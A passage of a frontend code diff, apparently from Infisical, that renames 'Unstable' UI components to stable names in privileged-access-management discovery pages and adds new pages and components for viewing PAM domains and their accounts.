+        <Empty className="max-w-2xl">
+          <EmptyHeader>
             <BanIcon className="size-8 text-muted" />
-            <UnstableEmptyTitle className="text-muted">
+            <EmptyTitle className="text-muted">
               Could not find discovery source with ID {discoverySourceId}
-            </UnstableEmptyTitle>
-          </UnstableEmptyHeader>
-        </UnstableEmpty>
+            </EmptyTitle>
+          </EmptyHeader>
+        </Empty>
       </div>
     );
   }
@@ -1030,24 +1090,24 @@ const PageContent = () => {
           </div>
         </div>
         <div className="flex items-center gap-3">
-          <UnstableDropdownMenu>
-            <UnstableDropdownMenuTrigger asChild>
+          <DropdownMenu>
+            <DropdownMenuTrigger asChild>
               <Button variant="outline" size="sm">
                 <EllipsisVerticalIcon />
               </Button>
-            </UnstableDropdownMenuTrigger>
-            <UnstableDropdownMenuContent align="end" sideOffset={2}>
+            </DropdownMenuTrigger>
+            <DropdownMenuContent align="end" sideOffset={2}>
               <ProjectPermissionCan
                 I={ProjectPermissionPamDiscoveryActions.Edit}
                 a={ProjectPermissionSub.PamDiscovery}
               >
                 {(isAllowed) => (
-                  <UnstableDropdownMenuItem
+                  <DropdownMenuItem
                     onClick={() => setIsEditModalOpen(true)}
                     isDisabled={!isAllowed}
                   >
                     Edit Source
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                 )}
               </ProjectPermissionCan>
               <ProjectPermissionCan
@@ -1055,18 +1115,18 @@ const PageContent = () => {
                 a={ProjectPermissionSub.PamDiscovery}
               >
                 {(isAllowed) => (
-                  <UnstableDropdownMenuItem
+                  <DropdownMenuItem
                     onClick={() => setIsDeleteModalOpen(true)}
                     variant="danger"
                     isDisabled={!isAllowed}
                   >
                     <TrashIcon className="size-4" />
                     Delete Source
-                  </UnstableDropdownMenuItem>
+                  </DropdownMenuItem>
                 )}
               </ProjectPermissionCan>
-            </UnstableDropdownMenuContent>
-          </UnstableDropdownMenu>
+            </DropdownMenuContent>
+          </DropdownMenu>
         </div>
       </div>
 
@@ -1074,6 +1134,7 @@ const PageContent = () => {
         {/* Left Column */}
         <div className="flex w-80 shrink-0 flex-col gap-4">
           <DiscoveryDetailsSection source={source} onEdit={() => setIsEditModalOpen(true)} />
+          <DiscoveryDomainSection source={source} projectId={projectId!} orgId={currentOrg.id} />
           <DiscoveryConfigurationSection source={source} onEdit={() => setIsEditModalOpen(true)} />
           <DiscoveryCredentialsSection source={source} onEdit={() => setIsEditModalOpen(true)} />
         </div>
@@ -1081,8 +1142,8 @@ const PageContent = () => {
         {/* Right Column - Tabbed Content */}
         <div className="min-w-0 flex-1">
           <Tabs value={selectedTab} onValueChange={handleTabChange} className="w-full">
-            <UnstableCard className="py-3">
-              <UnstableCardHeader>
+            <Card className="py-3">
+              <CardHeader>
                 <div className="flex items-center justify-between gap-2">
                   <TabList className="w-fit">
                     <Tab value="runs">Runs</Tab>
@@ -1106,8 +1167,8 @@ const PageContent = () => {
                     )}
                   </ProjectPermissionCan>
                 </div>
-              </UnstableCardHeader>
-              <UnstableCardContent>
+              </CardHeader>
+              <CardContent>
                 <TabPanel value="runs" className="p-0">
                   <RunsTab
                     discoverySourceId={source.id}
@@ -1133,8 +1194,8 @@ const PageContent = () => {
                     projectId={projectId!}
                   />
                 </TabPanel>
-              </UnstableCardContent>
-            </UnstableCard>
+              </CardContent>
+            </Card>
           </Tabs>
         </div>
       </div>
diff --git a/frontend/src/pages/pam/PamDiscoveryPage/components/PamDiscoverySourceForm/ActiveDirectoryDiscoveryForm.tsx b/frontend/src/pages/pam/PamDiscoveryPage/components/PamDiscoverySourceForm/ActiveDirectoryDiscoveryForm.tsx
index 5b141ce65ec..6b2ff268d95 100644
--- a/frontend/src/pages/pam/PamDiscoveryPage/components/PamDiscoverySourceForm/ActiveDirectoryDiscoveryForm.tsx
+++ b/frontend/src/pages/pam/PamDiscoveryPage/components/PamDiscoverySourceForm/ActiveDirectoryDiscoveryForm.tsx
@@ -5,22 +5,22 @@ import { InfoIcon, TriangleAlertIcon } from "lucide-react";
 import { z } from "zod";
 
 import {
+  Alert,
+  AlertDescription,
+  AlertTitle,
   Button,
   Field,
   FieldContent,
   FieldError,
   FieldLabel,
+  Input,
   Label,
   SheetFooter,
   Switch,
   TextArea,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableAlert,
-  UnstableAlertDescription,
-  UnstableAlertTitle,
-  UnstableInput
+  TooltipTrigger
 } from "@app/components/v3";
 import { UNCHANGED_PASSWORD_SENTINEL } from "@app/hooks/api/pam/constants";
 import { PamDiscoveryType, TPamDiscoverySource } from "@app/hooks/api/pamDiscovery";
@@ -194,11 +194,7 @@ export const ActiveDirectoryDiscoveryForm = ({ source, onSubmit, closeSheet }: P
                     </Tooltip>
                   </FieldLabel>
                   <FieldContent>
-                    <UnstableInput
-                      {...field}
-                      isError={Boolean(error)}
-                      placeholder="corp.example.com"
-                    />
+                    <Input {...field} isError={Boolean(error)} placeholder="corp.example.com" />
                     <FieldError errors={[error]} />
                   </FieldContent>
                 </Field>
@@ -222,7 +218,7 @@ export const ActiveDirectoryDiscoveryForm = ({ source, onSubmit, closeSheet }: P
                     </Tooltip>
                   </FieldLabel>
                   <FieldContent>
-                    <UnstableInput
+                    <Input
                       {...field}
                       isError={Boolean(error)}
                       placeholder="dc01.corp.example.com"
@@ -253,7 +249,7 @@ export const ActiveDirectoryDiscoveryForm = ({ source, onSubmit, closeSheet }: P
                       </Tooltip>
                     </FieldLabel>
                     <FieldContent>
-                      <UnstableInput
+                      <Input
                         {...field}
                         placeholder="Administrator"
                         isError={Boolean(error)}
@@ -283,7 +279,7 @@ export const ActiveDirectoryDiscoveryForm = ({ source, onSubmit, closeSheet }: P
                       </Tooltip>
                     </FieldLabel>
                     <FieldContent>
-                      <UnstableInput
+                      <Input
                         {...field}
                         placeholder="••••••"
                         isError={Boolean(error)}
@@ -326,16 +322,16 @@ export const ActiveDirectoryDiscoveryForm = ({ source, onSubmit, closeSheet }: P
               )}
             />
             {discoverDependencies && (
-              <UnstableAlert variant="info">
+              <Alert variant="info">
                 <TriangleAlertIcon />
-                <UnstableAlertTitle>Warning</UnstableAlertTitle>
-                <UnstableAlertDescription>
+                <AlertTitle>Warning</AlertTitle>
+                <AlertDescription>
                   When an account password is rotated, discovered Windows Services, Scheduled Tasks,
                   and IIS App Pools that run under that account will have their credentials
                   automatically updated to match. You can disable this per-dependency on the
                   account&apos;s dependencies tab.
-                </UnstableAlertDescription>
-              </UnstableAlert>
+                </AlertDescription>
+              </Alert>
             )}
           </div>
 
@@ -361,12 +357,7 @@ export const ActiveDirectoryDiscoveryForm = ({ source, onSubmit, closeSheet }: P
                     </Tooltip>
                   </FieldLabel>
                   <FieldContent>
-                    <UnstableInput
-                      {...field}
-                      type="number"
-                      placeholder="636"
-                      isError={Boolean(error)}
-                    />
+                    <Input {...field} type="number" placeholder="636" isError={Boolean(error)} />
                     <FieldError errors={[error]} />
                   </FieldContent>
                 </Field>
@@ -454,7 +445,7 @@ export const ActiveDirectoryDiscoveryForm = ({ source, onSubmit, closeSheet }: P
                     </Tooltip>
                   </FieldLabel>
                   <FieldContent>
-                    <UnstableInput
+                    <Input
                       {...field}
                       placeholder="dc.corp.example.com"
                       disabled={!useLdaps || !ldapRejectUnauthorized}
@@ -487,12 +478,7 @@ export const ActiveDirectoryDiscoveryForm = ({ source, onSubmit, closeSheet }: P
                     </Tooltip>
                   </FieldLabel>
                   <FieldContent>
-                    <UnstableInput
-                      {...field}
-                      type="number"
-                      placeholder="5986"
-                      isError={Boolean(error)}
-                    />
+                    <Input {...field} type="number" placeholder="5986" isError={Boolean(error)} />
                     <FieldError errors={[error]} />
                   </FieldContent>
                 </Field>
diff --git a/frontend/src/pages/pam/PamDiscoveryPage/components/PamDiscoverySourceForm/GenericDiscoveryFields.tsx b/frontend/src/pages/pam/PamDiscoveryPage/components/PamDiscoverySourceForm/GenericDiscoveryFields.tsx
index 24c1b9f8543..f4ec88802d3 100644
--- a/frontend/src/pages/pam/PamDiscoveryPage/components/PamDiscoverySourceForm/GenericDiscoveryFields.tsx
+++ b/frontend/src/pages/pam/PamDiscoveryPage/components/PamDiscoverySourceForm/GenericDiscoveryFields.tsx
@@ -8,12 +8,12 @@ import {
   FieldError,
   FieldLabel,
   FilterableSelect,
+  Input,
   Select,
   SelectContent,
   SelectItem,
   SelectTrigger,
-  SelectValue,
-  UnstableInput
+  SelectValue
 } from "@app/components/v3";
 import { gatewaysQueryKeys } from "@app/hooks/api";
 
@@ -51,7 +51,7 @@ export const GenericDiscoveryFields = () => {
             <FieldLabel>Name</FieldLabel>
             <FieldContent>
               <div className="relative">
-                <UnstableInput
+                <Input
                   {...field}
                   autoFocus
                   isError={Boolean(error)}
diff --git a/frontend/src/pages/pam/PamDiscoveryPage/components/PamDiscoverySourcesTable.tsx b/frontend/src/pages/pam/PamDiscoveryPage/components/PamDiscoverySourcesTable.tsx
index d6f83964d32..7312a304a25 100644
--- a/frontend/src/pages/pam/PamDiscoveryPage/components/PamDiscoverySourcesTable.tsx
+++ b/frontend/src/pages/pam/PamDiscoveryPage/components/PamDiscoverySourcesTable.tsx
@@ -10,21 +10,21 @@ import { DeleteActionModal, Input } from "@app/components/v2";
 import {
   Badge,
   Button,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
+  Pagination,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { ProjectPermissionSub, useOrganization, useProject } from "@app/context";
 import { ProjectPermissionPamDiscoveryActions } from "@app/context/ProjectPermissionContext/types";
@@ -132,44 +132,44 @@ export const PamDiscoverySourcesTable = ({ projectId }: Props) => {
       </div>
 
       <div className="mt-4">
-        <UnstableTable>
-          <UnstableTableHeader>
-            <UnstableTableRow>
-              <UnstableTableHead>Name</UnstableTableHead>
-              <UnstableTableHead>Domain</UnstableTableHead>
-              <UnstableTableHead>Schedule</UnstableTableHead>
-              <UnstableTableHead>Resources</UnstableTableHead>
-              <UnstableTableHead>Accounts</UnstableTableHead>
-              <UnstableTableHead>Dependencies</UnstableTableHead>
-              <UnstableTableHead>Status</UnstableTableHead>
-              <UnstableTableHead>Last Run</UnstableTableHead>
-              <UnstableTableHead className="w-5" />
-            </UnstableTableRow>
-          </UnstableTableHeader>
-          <UnstableTableBody>
+        <Table>
+          <TableHeader>
+            <TableRow>
+              <TableHead>Name</TableHead>
+              <TableHead>Domain</TableHead>
+              <TableHead>Schedule</TableHead>
+              <TableHead>Resources</TableHead>
+              <TableHead>Accounts</TableHead>
+              <TableHead>Dependencies</TableHead>
+              <TableHead>Status</TableHead>
+              <TableHead>Last Run</TableHead>
+              <TableHead className="w-5" />
+            </TableRow>
+          </TableHeader>
+          <TableBody>
             {isPending && (
-              <UnstableTableRow>
-                <UnstableTableCell colSpan={9} className="text-center text-muted">
+              <TableRow>
+                <TableCell colSpan={9} className="text-center text-muted">
                   Loading discovery sources...
-                </UnstableTableCell>
-              </UnstableTableRow>
+                </TableCell>
+              </TableRow>
             )}
             {!isPending && sources.length === 0 && (
-              <UnstableTableRow>
-                <UnstableTableCell colSpan={9}>
-                  <UnstableEmpty className="border-0 bg-transparent py-8 shadow-none">
-                    <UnstableEmptyHeader>
-                      <UnstableEmptyTitle>
+              <TableRow>
+                <TableCell colSpan={9}>
+                  <Empty className="border-0 bg-transparent py-8 shadow-none">
+                    <EmptyHeader>
+                      <EmptyTitle>
                         {search ? "No discovery sources match search" : "No discovery sources"}
-                      </UnstableEmptyTitle>
-                    </UnstableEmptyHeader>
-                  </UnstableEmpty>
-                </UnstableTableCell>
-              </UnstableTableRow>
+                      </EmptyTitle>
+                    </EmptyHeader>
+                  </Empty>
+                </TableCell>
+              </TableRow>
             )}
             {!isPending &&
               sources.map((source) => (
-                <UnstableTableRow
+                <TableRow
                   key={source.id}
                   className="group cursor-pointer"
                   onClick={() =>
@@ -184,50 +184,38 @@ export const PamDiscoverySourcesTable = ({ projectId }: Props) => {
                     })
                   }
                 >
-                  <UnstableTableCell className="font-medium">{source.name}</UnstableTableCell>
-                  <UnstableTableCell className="text-muted">
+                  <TableCell className="font-medium">{source.name}</TableCell>
+                  <TableCell className="text-muted">
                     {(source.discoveryConfiguration?.domainFQDN as string) || "-"}
-                  </UnstableTableCell>
-                  <UnstableTableCell className="text-muted capitalize">
-                    {source.schedule ?? "-"}
-                  </UnstableTableCell>
-                  <UnstableTableCell className="text-muted">
-                    {source.totalResources}
-                  </UnstableTableCell>
-                  <UnstableTableCell className="text-muted">
-                    {source.totalAccounts}
-                  </UnstableTableCell>
-                  <UnstableTableCell className="text-muted">
-                    {source.totalDependencies}
-                  </UnstableTableCell>
-                  <UnstableTableCell>
+                  </TableCell>
+                  <TableCell className="text-muted capitalize">{source.schedule ?? "-"}</TableCell>
+                  <TableCell className="text-muted">{source.totalResources}</TableCell>
+                  <TableCell className="text-muted">{source.totalAccounts}</TableCell>
+                  <TableCell className="text-muted">{source.totalDependencies}</TableCell>
+                  <TableCell>
                     <Badge variant={STATUS_BADGE_MAP[source.status] || "info"}>
                       {source.status}
                     </Badge>
-                  </UnstableTableCell>
-                  <UnstableTableCell className="text-muted">
+                  </TableCell>
+                  <TableCell className="text-muted">
                     {source.lastRunAt
                       ? format(new Date(source.lastRunAt), "MMM d, yyyy HH:mm")
                       : "Never"}
-                  </UnstableTableCell>
-                  <UnstableTableCell>
-                    <UnstableDropdownMenu>
-                      <UnstableDropdownMenuTrigger asChild>
-                        <UnstableIconButton
-                          variant="ghost"
-                          size="xs"
-                          onClick={(e) => e.stopPropagation()}
-                        >
+                  </TableCell>
+                  <TableCell>
+                    <DropdownMenu>
+                      <DropdownMenuTrigger asChild>
+                        <IconButton variant="ghost" size="xs" onClick={(e) => e.stopPropagation()}>
                           <EllipsisVerticalIcon />
-                        </UnstableIconButton>
-                      </UnstableDropdownMenuTrigger>
-                      <UnstableDropdownMenuContent sideOffset={2} align="end">
+                        </IconButton>
+                      </DropdownMenuTrigger>
+                      <DropdownMenuContent sideOffset={2} align="end">
                         <ProjectPermissionCan
                           I={ProjectPermissionPamDiscoveryActions.RunScan}
                           a={ProjectPermissionSub.PamDiscovery}
                         >
                           {(isAllowed) => (
-                            <UnstableDropdownMenuItem
+                            <DropdownMenuItem
                               isDisabled={!isAllowed}
                               onClick={(e) => {
                                 e.stopPropagation();
@@ -236,7 +224,7 @@ export const PamDiscoverySourcesTable = ({ projectId }: Props) => {
                             >
                               <PlayIcon className="size-4" />
                               Trigger Scan
-                            </UnstableDropdownMenuItem>
+                            </DropdownMenuItem>
                           )}
                         </ProjectPermissionCan>
                         <ProjectPermissionCan
@@ -244,7 +232,7 @@ export const PamDiscoverySourcesTable = ({ projectId }: Props) => {
                           a={ProjectPermissionSub.PamDiscovery}
                         >
                           {(isAllowed) => (
-                            <UnstableDropdownMenuItem
+                            <DropdownMenuItem
                               isDisabled={!isAllowed}
                               variant="danger"
                               onClick={(e) => {
@@ -254,18 +242,18 @@ export const PamDiscoverySourcesTable = ({ projectId }: Props) => {
                             >
                               <TrashIcon className="size-4" />
                               Delete
-                            </UnstableDropdownMenuItem>
+                            </DropdownMenuItem>
                           )}
                         </ProjectPermissionCan>
-                      </UnstableDropdownMenuContent>
-                    </UnstableDropdownMenu>
-                  </UnstableTableCell>
-                </UnstableTableRow>
+                      </DropdownMenuContent>
+                    </DropdownMenu>
+                  </TableCell>
+                </TableRow>
               ))}
-          </UnstableTableBody>
-        </UnstableTable>
+          </TableBody>
+        </Table>
         {Boolean(totalCount) && !isPending && (
-          <UnstablePagination
+          <Pagination
             count={totalCount}
             page={page}
             perPage={perPage}
diff --git a/frontend/src/pages/pam/PamDomainAccountByIDPage/route.tsx b/frontend/src/pages/pam/PamDomainAccountByIDPage/route.tsx
new file mode 100644
index 00000000000..84900c7f861
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainAccountByIDPage/route.tsx
@@ -0,0 +1,38 @@
+import { createFileRoute, linkOptions } from "@tanstack/react-router";
+
+import { PamAccountByIDPage } from "../PamAccountByIDPage/PamAccountByIDPage";
+
+export const Route = createFileRoute(
+  "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/accounts/$accountId/"
+)({
+  component: PamAccountByIDPage,
+  beforeLoad: ({ context, params }) => {
+    return {
+      breadcrumbs: [
+        ...context.breadcrumbs,
+        {
+          label: "Domains",
+          link: linkOptions({
+            to: "/organizations/$orgId/projects/pam/$projectId/domains",
+            params: { orgId: params.orgId, projectId: params.projectId }
+          })
+        },
+        {
+          label: "Domain",
+          link: linkOptions({
+            to: "/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId",
+            params: {
+              orgId: params.orgId,
+              projectId: params.projectId,
+              domainType: params.domainType,
+              domainId: params.domainId
+            }
+          })
+        },
+        {
+          label: "Account Details"
+        }
+      ]
+    };
+  }
+});
diff --git a/frontend/src/pages/pam/PamDomainByIDPage/PamDomainByIDPage.tsx b/frontend/src/pages/pam/PamDomainByIDPage/PamDomainByIDPage.tsx
new file mode 100644
index 00000000000..eca8d4b8a9f
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainByIDPage/PamDomainByIDPage.tsx
@@ -0,0 +1,237 @@
+import { useState } from "react";
+import { Helmet } from "react-helmet";
+import { faChevronLeft } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+import { useNavigate, useParams, useSearch } from "@tanstack/react-router";
+import { BanIcon, EllipsisVerticalIcon } from "lucide-react";
+
+import { createNotification } from "@app/components/notifications";
+import { ProjectPermissionCan } from "@app/components/permissions";
+import { DeleteActionModal, Tab, TabList, TabPanel, Tabs } from "@app/components/v2";
+import {
+  Button,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  PageLoader
+} from "@app/components/v3";
+import { ProjectPermissionActions, ProjectPermissionSub, useOrganization } from "@app/context";
+import {
+  PAM_DOMAIN_TYPE_MAP,
+  PamDomainType,
+  useDeletePamDomain,
+  useGetPamDomainById
+} from "@app/hooks/api/pamDomain";
+
+import {
+  PamDomainAccountsSection,
+  PamDomainConnectionSection,
+  PamDomainDetailsSection,
+  PamDomainMetadataSection,
+  PamDomainRelatedResourcesSection,
+  PamUpdateDomainModal
+} from "./components";
+
+const PageContent = () => {
+  const navigate = useNavigate();
+  const { currentOrg } = useOrganization();
+  const params = useParams({
+    strict: false
+  }) as { domainId?: string; domainType?: string; projectId?: string; orgId?: string };
+
+  const { domainId, domainType, projectId } = params;
+
+  const selectedTab = useSearch({
+    strict: false,
+    select: (el) => el.selectedTab
+  });
+
+  const handleTabChange = (tab: string) => {
+    navigate({
+      to: ".",
+      search: { selectedTab: tab }
+    });
+  };
+
+  const [isEditModalOpen, setIsEditModalOpen] = useState(false);
+  const [isDeleteModalOpen, setIsDeleteModalOpen] = useState(false);
+
+  const { data: domain, isPending } = useGetPamDomainById(domainType as PamDomainType, domainId, {
+    enabled: Boolean(domainId) && Boolean(domainType)
+  });
+
+  const deleteDomain = useDeletePamDomain();
+
+  if (isPending) {
+    return <PageLoader />;
+  }
+
+  if (!domain) {
+    return (
+      <div className="flex h-full w-full items-center justify-center px-20">
+        <Empty className="max-w-2xl">
+          <EmptyHeader>
+            <BanIcon className="size-8 text-muted" />
+            <EmptyTitle className="text-muted">
+              Could not find PAM Domain with ID {domainId}
+            </EmptyTitle>
+          </EmptyHeader>
+        </Empty>
+      </div>
+    );
+  }
+
+  const domainTypeInfo = PAM_DOMAIN_TYPE_MAP[domain.domainType];
+
+  const handleBack = () => {
+    navigate({
+      to: "/organizations/$orgId/projects/pam/$projectId/domains",
+      params: { orgId: currentOrg.id, projectId: projectId! }
+    });
+  };
+
+  const handleDeleteConfirm = async () => {
+    if (!domain) return;
+
+    try {
+      await deleteDomain.mutateAsync({
+        domainId: domain.id,
+        domainType: domain.domainType
+      });
+      createNotification({
+        text: `Domain "${domain.name}" deleted successfully`,
+        type: "success"
+      });
+      handleBack();
+    } catch (error) {
+      console.error("Failed to delete domain:", error);
+      createNotification({
+        text: "Failed to delete domain",
+        type: "error"
+      });
+    }
+  };
+
+  return (
+    <div className="container mx-auto flex max-w-7xl flex-col px-6 py-6 text-mineshaft-50">
+      <button
+        type="button"
+        onClick={handleBack}
+        className="mb-4 flex items-center gap-1 text-sm text-bunker-300 hover:text-primary-400"
+      >
+        <FontAwesomeIcon icon={faChevronLeft} className="text-xs" />
+        Domains
+      </button>
+
+      <div className="mb-6 flex items-center justify-between">
+        <div className="flex items-center gap-4">
+          <div className="flex h-12 w-12 items-center justify-center rounded-lg bg-mineshaft-700">
+            <img
+              alt={domainTypeInfo.name}
+              src={`/images/integrations/${domainTypeInfo.image}`}
+              className="size-6"
+            />
+          </div>
+          <div>
+            <h1 className="text-2xl font-semibold text-mineshaft-100">{domain.name}</h1>
+            <p className="text-sm text-bunker-300">{domainTypeInfo.name} Domain</p>
+          </div>
+        </div>
+        <div className="flex items-center gap-3">
+          <DropdownMenu>
+            <DropdownMenuTrigger asChild>
+              <Button variant="outline" size="sm">
+                <EllipsisVerticalIcon />
+              </Button>
+            </DropdownMenuTrigger>
+            <DropdownMenuContent align="end" sideOffset={2}>
+              <ProjectPermissionCan
+                I={ProjectPermissionActions.Edit}
+                a={ProjectPermissionSub.PamDomains}
+              >
+                {(isAllowed) => (
+                  <DropdownMenuItem
+                    onClick={() => setIsEditModalOpen(true)}
+                    isDisabled={!isAllowed}
+                  >
+                    Edit Domain
+                  </DropdownMenuItem>
+                )}
+              </ProjectPermissionCan>
+              <ProjectPermissionCan
+                I={ProjectPermissionActions.Delete}
+                a={ProjectPermissionSub.PamDomains}
+              >
+                {(isAllowed) => (
+                  <DropdownMenuItem
+                    onClick={() => setIsDeleteModalOpen(true)}
+                    variant="danger"
+                    isDisabled={!isAllowed}
+                  >
+                    Delete Domain
+                  </DropdownMenuItem>
+                )}
+              </ProjectPermissionCan>
+            </DropdownMenuContent>
+          </DropdownMenu>
+        </div>
+      </div>
+
+      <div className="flex gap-6">
+        {/* Left Column */}
+        <div className="flex w-80 shrink-0 flex-col gap-4">
+          <PamDomainDetailsSection domain={domain} onEdit={() => setIsEditModalOpen(true)} />
+          <PamDomainConnectionSection domain={domain} onEdit={() => setIsEditModalOpen(true)} />
+          <PamDomainMetadataSection domain={domain} />
+        </div>
+
+        {/* Right Column - Tabbed Content */}
+        <div className="min-w-0 flex-1">
+          <Tabs value={selectedTab || "accounts"} onValueChange={handleTabChange}>
+            <TabList>
+              <Tab value="accounts">Accounts</Tab>
+              <Tab value="related-resources">Resources</Tab>
+            </TabList>
+            <TabPanel value="accounts">
+              <PamDomainAccountsSection domain={domain} />
+            </TabPanel>
+            <TabPanel value="related-resources">
+              <PamDomainRelatedResourcesSection domain={domain} />
+            </TabPanel>
+          </Tabs>
+        </div>
+      </div>
+
+      <PamUpdateDomainModal
+        isOpen={isEditModalOpen}
+        onOpenChange={setIsEditModalOpen}
+        domain={domain}
+      />
+
+      <DeleteActionModal
+        isOpen={isDeleteModalOpen}
+        title={`Delete Domain "${domain.name}"?`}
+        subTitle="This will permanently remove this domain. Associated resources will be unlinked but not deleted."
+        onChange={(isOpen) => setIsDeleteModalOpen(isOpen)}
+        deleteKey={domain.name}
+        onDeleteApproved={handleDeleteConfirm}
+      />
+    </div>
+  );
+};
+
+export const PamDomainByIDPage = () => {
+  return (
+    <>
+      <Helmet>
+        <title>PAM Domain | Infisical</title>
+        <link rel="icon" href="/infisical.ico" />
+      </Helmet>
+      <PageContent />
+    </>
+  );
+};
diff --git a/frontend/src/pages/pam/PamDomainByIDPage/components/PamAddDomainAccountModal.tsx b/frontend/src/pages/pam/PamDomainByIDPage/components/PamAddDomainAccountModal.tsx
new file mode 100644
index 00000000000..c604b8d5079
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainByIDPage/components/PamAddDomainAccountModal.tsx
@@ -0,0 +1,65 @@
+import { createNotification } from "@app/components/notifications";
+import { Sheet, SheetContent, SheetDescription, SheetHeader, SheetTitle } from "@app/components/v3";
+import { useCreatePamAccount } from "@app/hooks/api/pam";
+import { PAM_DOMAIN_TYPE_MAP, PamDomainType, TPamDomain } from "@app/hooks/api/pamDomain";
+
+import { ActiveDirectoryAccountForm } from "../../PamAccountsPage/components/PamAccountForm/ActiveDirectoryAccountForm";
+
+type Props = {
+  isOpen: boolean;
+  onOpenChange: (isOpen: boolean) => void;
+  projectId: string;
+  domain: TPamDomain;
+};
+
+export const PamAddDomainAccountModal = ({ isOpen, onOpenChange, projectId, domain }: Props) => {
+  const createPamAccount = useCreatePamAccount();
+  const domainTypeInfo = PAM_DOMAIN_TYPE_MAP[domain.domainType];
+
+  const handleSubmit = async (formData: Record<string, unknown>) => {
+    try {
+      await createPamAccount.mutateAsync({
+        ...formData,
+        parentType: domain.domainType,
+        domainId: domain.id,
+        projectId
+      } as any);
+      createNotification({
+        text: "Successfully created account",
+        type: "success"
+      });
+      onOpenChange(false);
+    } catch {
+      createNotification({
+        text: "Failed to create account",
+        type: "error"
+      });
+    }
+  };
+
+  const renderForm = () => {
+    switch (domain.domainType) {
+      case PamDomainType.ActiveDirectory:
+        return (
+          <ActiveDirectoryAccountForm
+            onSubmit={handleSubmit as any}
+            closeSheet={() => onOpenChange(false)}
+          />
+        );
+      default:
+        throw new Error(`Unhandled domain type: ${domain.domainType}`);
+    }
+  };
+
+  return (
+    <Sheet open={isOpen} onOpenChange={onOpenChange}>
+      <SheetContent className="flex h-full max-h-full flex-col gap-y-0 sm:max-w-lg">
+        <SheetHeader className="border-b">
+          <SheetTitle>Create Domain Account</SheetTitle>
+          <SheetDescription>Add an account to this {domainTypeInfo?.name} domain</SheetDescription>
+        </SheetHeader>
+        <div className="flex min-h-0 flex-1 flex-col overflow-hidden">{renderForm()}</div>
+      </SheetContent>
+    </Sheet>
+  );
+};
diff --git a/frontend/src/pages/pam/PamDomainByIDPage/components/PamDomainAccountsSection.tsx b/frontend/src/pages/pam/PamDomainByIDPage/components/PamDomainAccountsSection.tsx
new file mode 100644
index 00000000000..e1027141ed5
--- /dev/null
+++ b/frontend/src/pages/pam/PamDomainByIDPage/components/PamDomainAccountsSection.tsx
@@ -0,0 +1,282 @@
+import { useCallback, useState } from "react";
+import { faMagnifyingGlass } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
+import { useNavigate, useParams } from "@tanstack/react-router";
+import {
+  CheckIcon,
+  CopyIcon,
+  EllipsisVerticalIcon,
+  KeyRoundIcon,
+  PencilIcon,
+  PlusIcon,
+  TrashIcon
+} from "lucide-react";
+
+import { createNotification } from "@app/components/notifications";
+import { ProjectPermissionCan } from "@app/components/permissions";
+import { Input as V2Input } from "@app/components/v2";
+import {
+  Badge,
+  Button,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
+} from "@app/components/v3";
+import { ProjectPermissionSub, useOrganization } from "@app/context";
+import { ProjectPermissionPamAccountActions } from "@app/context/ProjectPermissionContext/types";
+import { useDebounce, usePopUp, useToggle } from "@app/hooks";
+import { TPamAccount, useListPamAccounts } from "@app/hooks/api/pam";
+import { TPamDomain } from "@app/hooks/api/pamDomain";
+
+import { PamDeleteAccountModal } from "../../PamAccountsPage/components/PamDeleteAccountModal";
+import { PamUpdateAccountModal } from "../../PamAccountsPage/components/PamUpdateAccountModal";
+import { PamAddDomainAccountModal } from "./PamAddDomainAccountModal";
+
+type Props = {
+  domain: TPamDomain;
+};
+
+export const PamDomainAccountsSection = ({ domain }: Props) => {
+  const navigate = useNavigate();
+  const { currentOrg } = useOrganization();
+  const params = useParams({ strict: false }) as { projectId?: string };
+  const { projectId } = params;
+
+  const [search, setSearch] = useState("");
+  const [debouncedSearch] = useDebounce(search);
+
+  const { popUp, handlePopUpOpen, handlePopUpToggle } = usePopUp([
+    "addAccount",
+    "updateAccount",
+    "deleteAccount"
+  ] as const);
+
+  const [copiedAccountId, setCopiedAccountId] = useToggle(false);
+
+  const handleCopyId = useCallback(
+    (id: string) => {
+      setCopiedAccountId.on();
+      navigator.clipboard.writeText(id);
+      createNotification({ text: "Account ID copied to clipboard", type: "info" });
+      setTimeout(() => setCopiedAccountId.off(), 2000);
+    },
+    [setCopiedAccountId]
+  );
+
+  const { data: accountsData, isPending } = useListPamAccounts({
+    projectId: projectId || "",
+    search: debouncedSearch || undefined,
+    filterDomainIds: domain.id
+  });
+
+  const accounts = accountsData?.accounts || [];
+
+  const handleAccountClick = (accountId: string) => {
+    navigate({
+      to: "/organizations/$orgId/projects/pam/$projectId/domains/$domainType/$domainId/accounts/$accountId",
+      params: {
+        orgId: currentOrg.id,
+        projectId: projectId!,
+        domainType: domain.domainType,
+        domainId: domain.id,
+        accountId
+      }
+    });
+  };
+
+  return (
+    <div className="rounded-lg border border-border bg-container">
